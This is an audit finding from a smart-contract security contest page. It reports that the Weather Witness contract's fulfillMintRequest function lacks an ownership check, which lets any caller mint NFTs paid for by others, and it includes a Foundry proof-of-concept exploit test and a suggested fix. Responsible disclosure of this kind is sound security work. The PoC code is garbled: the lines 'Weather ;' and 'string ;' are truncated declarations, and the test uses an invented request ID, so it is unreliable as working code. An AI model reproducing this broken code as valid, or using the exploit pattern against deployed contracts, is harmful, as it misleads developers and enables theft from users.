Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted Access to `fulfillMintRequest()` Allows NFT Theft

Root + Impact

Description

The fulfillMintRequest(bytes32 requestId) function is marked external and lacks access control. It uses msg.sender as the recipient of the minted NFT, rather than the original user who initiated the mint request via requestMintWeatherNFT

This allows any actor to call fulfillMintRequest with a valid requestId and mint the NFT to themselves, potentially stealing NFTs meant for others — especially if they can front-run or monitor pending mint requests.

https://github.com/CodeHawks-Contests/2025-05-weather-witness/blob/e81df8689ab2b5e01d196bc5e5c82da84df5549a/src/WeatherNft.sol#L134

Risk

Likelihood:

  • The function is publicly accessible and emits events with requestId data.

  • Anyone monitoring the mempool or past logs can find usable requestId.

  • No signature checks, no authentication, and no caller verification.

Impact:

  • Attackers can steal NFTs by calling the function with a known or sniffed requestId.

  • The legitimate user who paid msg.value receives nothing.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.29;
import "forge-std/Test.sol";
import "../src/WeatherNft.sol";
import "../src/WeatherNftStore.sol";
import "../src/mocks/MockLINK.sol";
import "../src/mocks/MockFunctionsRouter.sol";
import "../src/mocks/MockRegistrar.sol";
contract WeatherNftExploitTest is Test {
WeatherNft public weatherNft;
MockLINK public link;
MockFunctionsRouter public functionsRouter;
MockRegistrar public registrar;
address public owner = address(0xA11CE);
address public victim = address(0xBEEF);
address public attacker = address(0xBAD);
function setUp() public {
vm.startPrank(owner);
link = new MockLINK();
functionsRouter = new MockFunctionsRouter();
registrar = new MockRegistrar();
WeatherNftStore.FunctionsConfig memory config = WeatherNftStore.FunctionsConfig({
source: "return Functions.encodeUint8(1);",
gasLimit: 300000,
subId: 1,
donId: "don-id"
});
Weather ;
weathers[0] = Weather.CLEAR;
weathers[1] = Weather.RAINY;
string ;
uris[0] = "ipfs://clear";
uris[1] = "ipfs://rainy";
weatherNft = new WeatherNft(
weathers,
uris,
address(functionsRouter),
config,
0.1 ether,
0.05 ether,
address(link),
address(0x1234),
address(registrar),
500000
);
vm.stopPrank();
// Fund victim
vm.deal(victim, 1 ether);
}
function testExploitMintTheft() public {
vm.startPrank(victim);
bytes32 fakeReqId = keccak256("request1");
uint256 linkDeposit = 1 ether;
weatherNft.requestMintWeatherNFT{value: 0.1 ether}("560001", "IN", false, 0, 0);
// Simulate response (Chainlink sets it)
vm.stopPrank();
vm.prank(owner);
weatherNft.fulfillRequest(fakeReqId, abi.encode(uint8(0)), "");
// Now attacker hijacks
vm.startPrank(attacker);
weatherNft.fulfillMintRequest(fakeReqId);
vm.stopPrank();
// Validate stolen NFT
assertEq(weatherNft.ownerOf(1), attacker);
}
}
  • Victim calls requestMintWeatherNFT.

  • Attacker watches logs, learns the requestId.

  • Attacker calls fulfillMintRequest(requestId).

  • NFT is minted to attacker, not victim.

  • Assertion passes because ownerOf(1) is the attacker.

Recommended Mitigation

Mint the NFT to the original requester, not msg.sender:

_mint(_userMintRequest.user, tokenId);
Updates

Appeal created

bube Lead Judge 23 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.